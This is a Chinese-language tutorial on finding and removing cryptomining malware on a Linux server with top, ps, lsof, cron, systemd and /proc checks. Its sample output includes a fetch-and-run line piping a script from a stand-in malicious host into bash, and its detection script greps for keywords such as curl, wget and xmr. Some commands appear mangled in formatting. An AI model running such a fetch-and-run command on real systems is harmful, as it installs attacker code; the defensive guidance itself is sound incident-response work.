Linux服务器CPU爆满排查实战:用top/ps/lsof三剑客定位挖矿木马
1. 项目概述当服务器CPU“爆表”时我们该做什么如果你是一名运维工程师、开发者或者仅仅是管理着一台Linux服务器的爱好者那么“服务器CPU使用率100%”这个警报绝对能让你心头一紧。这不仅仅是性能卡顿那么简单它往往意味着服务器正在被异常进程疯狂压榨而其中最令人头疼、也最常见的原因之一就是服务器被植入了挖矿木马。这些不速之客会悄无声息地劫持你的计算资源为攻击者“挖矿”牟利导致你的业务应用响应缓慢甚至崩溃同时产生高昂的云资源账单。遇到这种情况新手可能会手足无措直接重启了事但这治标不治本木马很可能设置了自启动重启后卷土重来。老手则会有一套成熟的排查“组合拳”。今天我就结合自己多次在实战中排查此类问题的经验手把手带你走一遍标准流程。我们的核心武器就是Linux系统自带的“三剑客”top、ps和lsof。别小看这些基础命令在高手手里它们就是最犀利的手术刀能精准定位病灶。整个过程不依赖任何复杂的外部工具在任何Linux发行版上都能立即执行目标明确快速定位异常进程分析其行为并最终将其清除。2. 核心排查思路与工具定位当监控告警响起或者你通过终端连接服务器发现响应迟缓第一步不是盲目操作而是建立清晰的排查逻辑。CPU高占用无非几个方向正常业务突发压力、程序BUG导致死循环、或是恶意进程。挖矿木马属于最后一种且通常具有隐蔽性如伪装成系统进程名、持久化会修改系统配置确保重启后复活和网络连接需要与矿池通信三大特征。我们的排查思路就要针对这三点展开。top命令是我们的“雷达屏”用于全局观察。它能实时显示系统整体负载、各个进程的CPU和内存占用率给我们一个最直观的“战场态势图”。通过top我们可以快速锁定是哪个或哪几个进程在疯狂消耗CPU。ps命令是我们的“档案库”用于深度调查。top给了我们一个进程IDPID但信息有限。ps命令可以展示进程更详细的信息比如它的启动命令全路径、父进程IDPPID、启动时间等。这对于判断一个进程是否“清白”至关重要。一个正常的/usr/bin/python和一个指向/tmp/.hidden/xxx.py的python进程性质天差地别。lsof命令是我们的“关系网分析仪”用于追踪关联。挖矿进程必然要对外通信连接矿池也要读写文件可能下载组件、修改配置。lsof可以列出指定进程打开的所有文件、目录和网络连接。通过它我们能发现进程在连接哪个可疑的IP和端口在读写哪些异常路径的文件这些是确认其恶意性质并清理残留的关键证据。这套“top定位 -ps深挖 -lsof追踪”的组合拳构成了我们本次排查的核心方法论。接下来我们进入实战环节。2.1 第一现场使用top命令进行全局监控与快速定位首先通过SSH登录到服务器。如果服务器已经卡到无法输入命令可以尝试先通过云控制台或IPMI等方式登录或者尝试使用top -c命令它会在界面中显示完整的命令行有时能直接看到异常。在终端中输入top然后按回车。你会看到一个动态刷新的界面。我们需要关注以下几列PID: 进程ID。USER: 进程所属用户。需要特别警惕非root也非业务常规用户如www-data,nginx的进程在高消耗CPU。%CPU: CPU使用率百分比。这是我们的核心指标通常挖矿进程会接近100%占用一个或多个核心。%MEM: 内存使用率。COMMAND: 命令名称。这是初步判断的关键。木马常伪装成kworker,ksoftirqd等内核线程名或者python,bash,curl,wget,systemd等常见命令。操作技巧与初步分析排序在top界面中默认可能按CPU排序。如果没有可以按Shift P确保按CPU使用率降序排列。这样最耗CPU的进程就排在最前面。观察异常寻找长期超过几分钟稳定占用CPU很高比如90%以上的进程。正常的业务进程其CPU占用通常是波动的。而挖矿进程为了最大化收益会持续压满CPU。识别伪装仔细看COMMAND列。一个名为kworker/u256:3-events的进程可能是正常的但一个名为kworker/u256:3-events -c 2 -o pool.mine.com:3333的进程就极其可疑。如果COMMAND显示的是[kworker/0:1]带方括号这通常是内核线程一般没问题。但如果没有方括号却叫类似kthreaddk、kinsing的名字那就是典型的挖矿木马伪装。记录PID锁定最可疑的1-2个高CPU进程记下它们的PID和USER。假设我们记下一个PID为18888用户为nobody的进程命令名为curl。注意有些高级木马会实时监控top、ps等命令并修改自己的进程名进行隐藏。如果你在top里看到top或ps命令本身占用了异常高的CPU那可能就是木马伪装的。此时可以使用/bin/top或busybox top如果系统安装了busybox来绕过。2.2 深度调查使用ps命令挖掘进程详细信息拿到可疑PID例如18888后我们使用ps命令进行深度解剖。ps命令参数组合繁多这里推荐几个最实用的# 查看指定PID进程的详细信息包括完整命令行、父进程、运行时间等 ps -fp 18888 # 以更详细的格式查看包含进程状态、CPU时间等 ps aux | grep 18888 # 查看进程的父子关系树这对于发现挖矿链一个进程fork出挖矿进程非常有用 pstree -p 18888 # 或者 ps -ef --forest | grep -A5 -B5 18888执行ps -fp 18888你可能会看到类似这样的输出UID PID PPID C STIME TTY TIME CMD nobody 18888 1 99 Jan10 ? 10-20:30:00 /usr/bin/curl -s http://malicious.site/xmr.sh | bash -s关键信息解读CMD: 完整命令行为/usr/bin/curl -s http://malicious.site/xmr.sh | bash -s。这几乎是挖矿木马的“标准动作”通过curl下载远程脚本并直接通过bash执行。这是铁证。PPID: 父进程ID是1。这说明它很可能被系统服务如systemd托管或者其父进程已经退出它被init进程收养。如果是被systemd托管我们需要去检查systemd的service文件。USER: 用户是nobody。攻击者喜欢使用低权限用户运行以降低被注意的风险并利用一些系统服务默认以nobody运行的特点来伪装。STIMETIME: 启动时间和累计CPU时间。运行了很长时间10天20小时且累计CPU时间极高这符合挖矿进程特征。实操心得ps -ef输出的CMD列有时会被截断。为了看到完整的命令行可以使用ps auxwwww参数指定宽输出格式或者cat /proc/18888/cmdline | tr \0 。后者直接读取Linux内核暴露的进程命令行参数是最完整可靠的方式。2.3 关联取证使用lsof命令追踪网络连接与文件操作确认进程可疑后我们需要知道它“做了什么”和“在联系谁”。lsofList Open Files命令登场。在Linux中网络连接也是一种特殊的“文件”。# 查看进程18888打开的所有文件和网络连接 lsof -p 18888 # 专门查看进程的网络连接情况这个更清晰 lsof -i -a -p 18888 # 或者使用 netstat 或 ss (更现代) ss -tunap | grep 18888 netstat -tunap | grep 18888执行lsof -p 18888输出可能包含COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME curl 18888 nobody cwd DIR 253,0 4096 2 / curl 18888 nobody rtd DIR 253,0 4096 2 / curl 18888 nobody txt REG 253,0 987456 123456 /usr/bin/curl curl 18888 nobody mem REG 253,0 123456 789012 /lib/x86_64-linux-gnu/libc.so.6 curl 18888 nobody 0u CHR 136,0 0t0 3 /dev/pts/0 (deleted) curl 18888 nobody 1u IPv4 567890 0t0 TCP your-server:45678-pool.minexmr.com:443 (ESTABLISHED) curl 18888 nobody 2u CHR 136,0 0t0 3 /dev/pts/0 (deleted) curl 18888 nobody 3r REG 253,0 1234 345678 /tmp/.X11-unix/.x关键信息解读网络连接TYPE为IPv4/IPv6如TCP your-server:45678-pool.minexmr.com:443。这明确显示了进程正在与一个已知的矿池域名pool.minexmr.com建立加密连接端口443。这是挖矿行为的直接证据。请记录下这个远程IP或域名。打开的文件注意那些在/tmp、/dev/shm、/var/tmp等临时目录下的可疑文件或者以点.开头的隐藏文件如/tmp/.X11-unix/.x。这些往往是木马下载的二进制程序、配置文件或日志。FD文件描述符0u1u2u通常代表标准输入、输出、错误。如果它们指向一个被删除的终端/dev/pts/0 (deleted)这可能意味着进程是在一个已经关闭的SSH会话中启动的这是攻击者通过漏洞入侵后执行命令的常见特征。重要提示发现矿池域名或IP后不要立即切断连接。可以先在服务器防火墙如iptables或firewalld上封禁这个IP阻止其继续通信但同时保留现场用于后续分析。命令如iptables -A OUTPUT -d 矿池IP -j DROP。3. 应急处置与根除流程通过以上三步我们已经掌握了确凿证据PID 18888是一个由nobody用户运行的curl进程它从恶意网站下载脚本并执行并且正在连接矿池。现在进入处置阶段。3.1 终止恶意进程首先终止这个进程。使用kill命令。为了确保终止可以先发送SIGTERM15信号允许进程进行清理退出。如果无效再使用SIGKILL9强制杀死。# 优雅终止 kill 18888 # 等待几秒检查进程是否还在 ps -p 18888 # 如果还在强制杀死 kill -9 18888注意事项直接kill -9可能会导致进程无法释放某些资源如临时文件锁但面对恶意进程我们的首要目标是让它立即停止。在业务允许的情况下可以先尝试kill。3.2 清理恶意文件与计划任务杀掉进程只是第一步必须清除其留在系统中的所有痕迹防止重启后复活。查找并删除恶意程序文件 根据ps命令看到的命令行和lsof命令看到的打开文件找到恶意脚本或二进制文件的位置。例如之前ps显示的命令是从网络下载执行可能没有本地文件。但lsof可能发现了/tmp/.X11-unix/.x。我们需要删除它。# 删除文件使用 rm -f rm -f /tmp/.X11-unix/.x # 如果是一个目录使用 rm -rf # rm -rf /tmp/.hidden_dir务必小心rm -rf是危险命令删除前最好先用ls -la确认文件属性或者先mv到隔离目录。检查并清理计划任务Cron 挖矿木马最常见的持久化手段就是添加计划任务。检查系统当前用户和root用户的cron。# 检查当前用户的cron crontab -l # 检查root用户的cron需要sudo或root权限 sudo crontab -l # 检查系统级的cron目录 ls -la /etc/cron.d/ /etc/cron.hourly/ /etc/cron.daily/ /etc/cron.weekly/ /etc/cron.monthly/ cat /etc/crontab寻找可疑的任务例如每分钟执行一次curl或wget到陌生地址的命令。发现后使用crontab -e编辑并删除对应行或者直接删除/etc/cron.d/下的可疑文件。检查系统服务Systemd 如果恶意进程的PPID是1且不是孤儿进程那它很可能被注册成了系统服务。# 查找所有服务过滤包含可疑关键词的 systemctl list-units --typeservice --all | grep -i curl # 或者通过进程名反向查找服务 systemctl status 18888 # 如果它是个服务这条命令可能会显示服务名如果找到了对应的服务比如叫malicious-service立即停止并禁用sudo systemctl stop malicious-service sudo systemctl disable malicious-service sudo rm /etc/systemd/system/malicious-service.service # 删除服务文件 sudo systemctl daemon-reload # 重载systemd配置检查开机启动项 检查/etc/rc.local如果系统使用、/etc/init.d/链接等。检查用户启动脚本 检查~/.bashrc,~/.bash_profile,~/.profile,/etc/profile,/etc/profile.d/等文件看是否有在登录时执行恶意命令的语句。3.3 网络层面封堵与后门检查封禁矿池IP/域名如前所述在防火墙出站规则中封禁已发现的矿池地址。检查异常监听端口使用netstat -tunlp或ss -tunlp查看是否有异常进程在监听端口这可能是后门或代理。ss -tunlp | grep -v “127.0.0.1” | grep LISTEN检查最近登录记录查看/var/log/auth.logDebian/Ubuntu或/var/log/secureCentOS/RHEL分析是否有异常IP成功登录过尤其是暴力破解成功的记录。sudo tail -100 /var/log/auth.log | grep “Accepted password” sudo last # 查看登录历史检查SSH授权密钥检查~/.ssh/authorized_keys文件看是否有陌生的公钥被添加这是攻击者留后门的常用手段。cat ~/.ssh/authorized_keys cat /root/.ssh/authorized_keys # 如果是root用户3.4 善后与加固建议清除完所有发现的恶意项目后建议更新系统和软件很多入侵是通过未修复的漏洞如Web应用漏洞、过期的服务软件漏洞实现的。立即更新系统补丁和所有软件。sudo apt update sudo apt upgrade # Debian/Ubuntu sudo yum update # CentOS/RHEL修改密码修改服务器所有用户的密码特别是root和有sudo权限的用户。审查业务代码如果服务器运行着Web应用检查代码是否有漏洞如命令注入、反序列化漏洞这通常是入侵的源头。考虑使用入侵检测工具部署像fail2ban来防止暴力破解使用rkhunter、chkrootkit进行rootkit扫描或者使用更专业的HIDS主机入侵检测系统。加强监控配置更完善的监控告警不仅监控CPU还要监控异常进程启动、异常网络外连、关键文件修改等。4. 高级排查技巧与疑难场景处理在实际对抗中攻击者的手段也在升级。下面分享几种更隐蔽情况的排查技巧。4.1 进程伪装与隐藏的应对场景一进程名伪装成内核线程或常见命令。应对不要只看top里显示的缩写名。使用ps -fp查看完整命令行。使用cat /proc//comm查看进程名cat /proc//cmdline查看完整命令行以\0分隔。恶意进程的cmdline通常会露出马脚。场景二进程挂载到空闲的CPU核心top显示总体CPU不高但单个核心满载。应对在top界面按1可以展开显示每个逻辑CPU核心的使用情况。观察是否有某个核心持续100%。然后使用top -p或者用ps配合taskset命令查看进程的CPU亲和性。taskset -pc这可以显示进程被允许在哪些CPU核心上运行。场景三使用libprocesshider等内核模块或劫持ps、top命令本身进行隐藏。应对使用静态编译的BusyBox工具集中的top和ps因为它们不依赖系统的动态链接库。直接查看/proc文件系统。/proc目录下每个数字子目录对应一个进程。对比ps aux输出的PID列表和ls /proc | grep ^[0-9]的列表找出隐藏的PID。ps aux | awk ‘{print $2}’ | sort ps_pids.txt ls /proc | grep ^[0-9] | sort proc_pids.txt diff proc_pids.txt ps_pids.txt如果diff结果显示/proc中有但ps里没有的PID那就是被隐藏的进程。进入该PID目录查看cmdline、exe链接到执行文件等信息。检查系统加载的内核模块lsmod。寻找可疑模块。4.2 资源占用间歇性爆发的排查有些挖矿木马会设计成“挖一会儿停一会儿”或者只在系统空闲时运行以躲避监控。应对使用pidstat命令需要安装sysstat包进行采样监控。# 每2秒采样一次共采样10次并输出CPU使用率 pidstat -u 2 10观察进程的CPU使用率变化历史。也可以使用atop、htop等更强大的监控工具它们能记录历史数据。4.3 容器Docker环境下的排查如果服务器运行了Docker挖矿进程可能藏在容器内部。应对在宿主机上使用top或ps查看是否有docker-containerd-shim或容器内应用进程消耗高CPU。这些进程的用户通常是root。使用docker stats命令查看所有容器的实时资源占用。docker stats --no-stream定位到高负载容器后进入容器内部排查步骤与宿主机类似docker exec -it /bin/bash # 然后在容器内运行 top, ps, lsof注意恶意镜像可能本身就被植入了挖矿脚本。需要审查镜像来源并考虑更新或替换为可信镜像。4.4 使用脚本进行自动化初步排查对于需要管理大量服务器的情况可以编写一个简单的脚本来快速抓取可疑进程。以下是一个示例脚本check_miner.sh#!/bin/bash echo “ 检查高CPU进程 ps aux --sort-%cpu | head -20 echo -e “\n 检查可疑网络连接 (ESTABLISHED) netstat -tunap | grep ESTABLISHED | awk ‘{print $4, $5, $7}’ | sort | uniq -c | sort -rn | head -20 echo -e “\n 检查计划任务 cat /etc/crontab ls -la /etc/cron.*/ echo -e “\n 检查系统服务中可疑项 systemctl list-units --typeservice --all | grep -E “(curl|wget|bash|sh|\.sh|pool|mine|xmr|monero)” echo -e “\n 检查/tmp和/dev/shm下的可疑文件 find /tmp /dev/shm -type f -name “.*” -o -name “*.sh” -o -name “*.py” -o -name “*.elf” 2/dev/null | head -30使用方式chmod x check_miner.sh ./check_miner.sh。这个脚本能快速给出一些线索但绝不能替代人工深入分析。5. 总结与核心安全建议排查Linux挖矿木马本质上是一场“猫鼠游戏”。攻击手法在变我们的排查思路也要不断升级。但万变不离其宗核心依然是监控异常资源消耗 - 定位具体进程 - 深挖进程详情与关联 - 彻底清除并加固。回顾一下最核心的命令组合top/htop全局视野快速定位高CPU进程。记住快捷键P排序1看各核心。ps -auxf/ps -ef --forest查看进程详情、完整命令行和进程树关系。lsof -p/ss -tunap查看进程打开的文件和网络连接找到矿池IP和本地残留文件。killrm终止进程删除文件。crontab -lsystemctl list-units清理持久化机制。最后再强调几个至关重要的安全习惯这些比事后排查更重要最小权限原则应用程序和服务尽可能使用低权限用户运行避免使用root。定期更新及时更新操作系统和所有应用软件的安全补丁。密钥登录SSH禁用密码登录使用密钥对认证并限制root直接登录。防火墙限制只开放必要的端口对出站流量也可以做适当限制如果业务允许。代码安全对Web应用进行定期的安全审计和漏洞扫描。完善监控建立覆盖系统层、应用层、网络层的立体监控告警体系。服务器安全是一个持续的过程。通过这次手把手的排查实战希望你能不仅学会如何使用top、ps、lsof这三把利器更能建立起一套面对服务器异常时的冷静分析和系统处置的思维框架。下次再看到CPU 100%你就能从容地说“别慌让我看看是谁在搞鬼。”